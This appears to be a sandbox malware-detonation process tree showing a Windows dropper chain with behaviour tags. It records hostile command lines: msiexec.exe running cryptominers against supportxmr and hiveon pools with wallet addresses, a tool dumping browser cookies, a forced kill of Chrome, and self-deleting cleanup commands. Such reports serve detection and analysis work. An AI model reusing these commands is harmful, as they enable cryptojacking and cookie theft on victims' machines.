-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Dry-Glitter\app.exe" -map "C:\Program Files (x86)\Dry-Glitter\WinmonProcessMonitor.sys""9⤵PID:1124
-
C:\Program Files (x86)\Dry-Glitter\app.exe"C:\Program Files (x86)\Dry-Glitter\app.exe" -map "C:\Program Files (x86)\Dry-Glitter\WinmonProcessMonitor.sys"10⤵PID:2764
-
-
-
C:\Program Files (x86)\Dry-Glitter\7za.exe"C:\Program Files (x86)\Dry-Glitter\7za.exe" e -p154.61.71.51 winamp.7z9⤵PID:10344
-
-
C:\Program Files (x86)\Dry-Glitter\app.exe"C:\Program Files (x86)\Dry-Glitter\app.exe" /8-239⤵PID:7356
-
C:\Program Files (x86)\Dry-Glitter\app.exe"C:\Program Files (x86)\Dry-Glitter\app.exe" /8-2310⤵
- Enumerates connected drives
- Drops file in Windows directory
PID:5232
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Q1QJ0MZR90\setups.exe"C:\Users\Admin\AppData\Local\Temp\Q1QJ0MZR90\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Users\Admin\AppData\Local\Temp\is-QUL8P.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-QUL8P.tmp\setups.tmp" /SL5="$40136,383902,148480,C:\Users\Admin\AppData\Local\Temp\Q1QJ0MZR90\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3812
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4040
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
PID:4648
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4868 -
C:\Users\Admin\AppData\Roaming\15DA.tmp.exe"C:\Users\Admin\AppData\Roaming\15DA.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4696 -
C:\Users\Admin\AppData\Roaming\15DA.tmp.exe"C:\Users\Admin\AppData\Roaming\15DA.tmp.exe"6⤵
- Executes dropped EXE
PID:5792
-
-
-
C:\Users\Admin\AppData\Roaming\1F51.tmp.exe"C:\Users\Admin\AppData\Roaming\1F51.tmp.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4572 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\1F51.tmp.exe"6⤵PID:2448
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK7⤵
- Delays execution with timeout.exe
PID:6400
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\f85ef70f..exe"C:\Users\Admin\AppData\Local\Temp\f85ef70f..exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:4276 -
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵
- Blocklisted process makes network request
PID:6836
-
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵PID:4904
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵PID:6248
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:6976
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵
- Executes dropped EXE
PID:6344 -
C:\ProgramData\3807947.exe"C:\ProgramData\3807947.exe"5⤵
- Suspicious behavior: SetClipboardViewer
PID:6820
-
-
C:\ProgramData\8320298.exe"C:\ProgramData\8320298.exe"5⤵PID:3448
-
-
C:\ProgramData\5632398.exe"C:\ProgramData\5632398.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6932
-
-
C:\ProgramData\8271665.exe"C:\ProgramData\8271665.exe"5⤵PID:5336
-
-
C:\ProgramData\6829602.exe"C:\ProgramData\6829602.exe"5⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7144
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵PID:1968
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:7460
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:8296
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:8084
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵PID:11964
-
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:904
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:1320
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:4368
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4436
-
C:\Users\Admin\AppData\Local\Temp\is-9IGVQ.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-9IGVQ.tmp\vpn.tmp" /SL5="$30260,15170975,270336,C:\Users\Admin\AppData\Local\Temp\wywhx02tviy\vpn.exe" /silent /subid=4821⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4848 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "2⤵PID:4636
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09013⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:2688
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "2⤵PID:4320
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09013⤵
- Suspicious use of SetWindowsHookEx
PID:6364
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall2⤵PID:8280
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install2⤵PID:4448
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4640
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5080
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:5232 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 318633B033FD2F81B298DB6420B78793 C2⤵
- Loads dropped DLL
PID:5568
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 33D71FB7F9C9ECE73E3CD96D0D188F972⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:6148
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
PID:9796 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE6AB8.bat" "3⤵PID:9456
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1"4⤵
- Views/modifies file attributes
PID:8580
-
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
PID:9860
-
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
PID:9792
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXE6AB8.bat"4⤵
- Views/modifies file attributes
PID:6800
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXE6AB8.bat" "4⤵PID:9148
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"4⤵PID:5844
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EXE676C.bat" "3⤵PID:4836
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Roaming\Weather\Weather\PREREQ~1\AIPACK~1.EXE"4⤵
- Views/modifies file attributes
PID:7476
-
-
C:\Windows\SysWOW64\timeout.exeC:\Windows\System32\timeout.exe 54⤵
- Delays execution with timeout.exe
PID:5704
-
-
C:\Windows\SysWOW64\attrib.exeC:\Windows\System32\attrib.exe -r "C:\Users\Admin\AppData\Local\Temp\EXE676C.bat"4⤵
- Views/modifies file attributes
PID:7164
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" del "C:\Users\Admin\AppData\Local\Temp\EXE676C.bat" "4⤵PID:8944
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" cls"4⤵PID:10136
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:6076
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2612
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4996
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2192
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5728
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7884
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:7332
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5544
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:8396
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:8056
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:5376
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7224
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵PID:4340
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{70645624-af28-5c49-b054-6a6a4f1bde18}\oemvista.inf" "9" "4d14a44ff" "000000000000017C" "WinSta0\Default" "0000000000000180" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵PID:7896
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000017C"2⤵PID:4024
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵PID:2148
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:8936
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵PID:5036
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵PID:1940
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:9380
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:9896
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:1468
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8732
-
C:\Users\Admin\AppData\Local\Temp\is-E01K7.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-E01K7.tmp\setups.tmp" /SL5="$3054E,383902,148480,C:\Users\Admin\AppData\Local\Temp\ZEJCM7DYGO\setups.exe" ll1⤵PID:9908
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4136
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8168
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4816
-
C:\Users\Admin\AppData\Local\Temp\is-GGFBI.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-GGFBI.tmp\Setup3310.tmp" /SL5="$A044E,138429,56832,C:\Users\Admin\AppData\Local\Temp\qtoeh1upyru\Setup3310.exe" /Verysilent /subid=5771⤵PID:4440
-
C:\Users\Admin\AppData\Local\Temp\is-AE2QD.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-AE2QD.tmp\Setup.exe" /Verysilent2⤵PID:10560
-
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\4f7b5019afad402d968ca6ba9bccfd60 /t 0 /p 48161⤵PID:8372
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:10772
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:10440
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\34a5b17fb19944a58877f1d744873d91 /t 10996 /p 107721⤵PID:10352
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\3d6b48e1e742400296b7c437b25b1d55 /t 10860 /p 104401⤵PID:9720
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:3776
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:8552
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7664
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:10392
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\5130228d37984cc2afeaba0c6a56559d /t 0 /p 103921⤵PID:10688
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9392
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8172
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\3a6484b6d4804e588222b29bcb22cc7d /t 8372 /p 81721⤵PID:8820
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Loads dropped DLL
PID:8892
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:9708
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:10924
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7620
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5928
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:3116
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:10488
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4964
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:9032
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7128
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:5244
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:11076
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7084
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9248
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:4300
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8880
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:12652
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\a0fdc6f1baeb44cfbefbcce08e912a69 /t 0 /p 126521⤵PID:12424
-
